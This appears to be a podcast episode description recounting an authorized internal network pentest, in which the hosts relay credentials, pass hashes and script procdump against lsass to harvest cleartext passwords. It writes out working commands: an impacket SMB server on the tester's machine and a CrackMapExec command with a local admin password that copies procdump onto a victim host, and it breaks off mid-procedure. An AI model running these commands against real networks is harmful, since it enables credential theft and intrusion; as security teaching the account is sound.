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7MS #383: Tales of Internal Network Pentest Pwnage - Part 10

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This episode is a "sequel" of sorts to part 9 where I was helping another company tag-team an internal network pentest. (In announcer voice) "When we last left our heroes we had..."

  • Relayed one high-priv cred from one box to another
  • Dumped and cracked a local machine's hash
  • Passed that hash around the network
  • Found (via Bloodhound) some high value targets we wanted to grab domain admin creds from
  • Set the wdigest flag via CrackMapExec

Today, we talk about how we came back to the pentest a few days later and scripted the procdump/lsass operation to (hopefully) grab cleartext credentials from these high value targets. Here's how we did it:

mkdir /share wget https://live.sysinternals.com/procdump64.exe screen -R smb /opt/impacket/examples/smbserver.py -smb2support share /share

Then, we ran the following CME commands to copy procdump over to the victim machine, create the dump, take the dump, then delete procdump.exe:

crackmapexec smb -u Administrator -p 'Winter2018!' --local-auth --exec-method smbexec -x 'copy "\\\share\procdump64.exe" "c:\users\public\procdump64.exe"' (more on today's episode show notes)


 2019-10-01  30m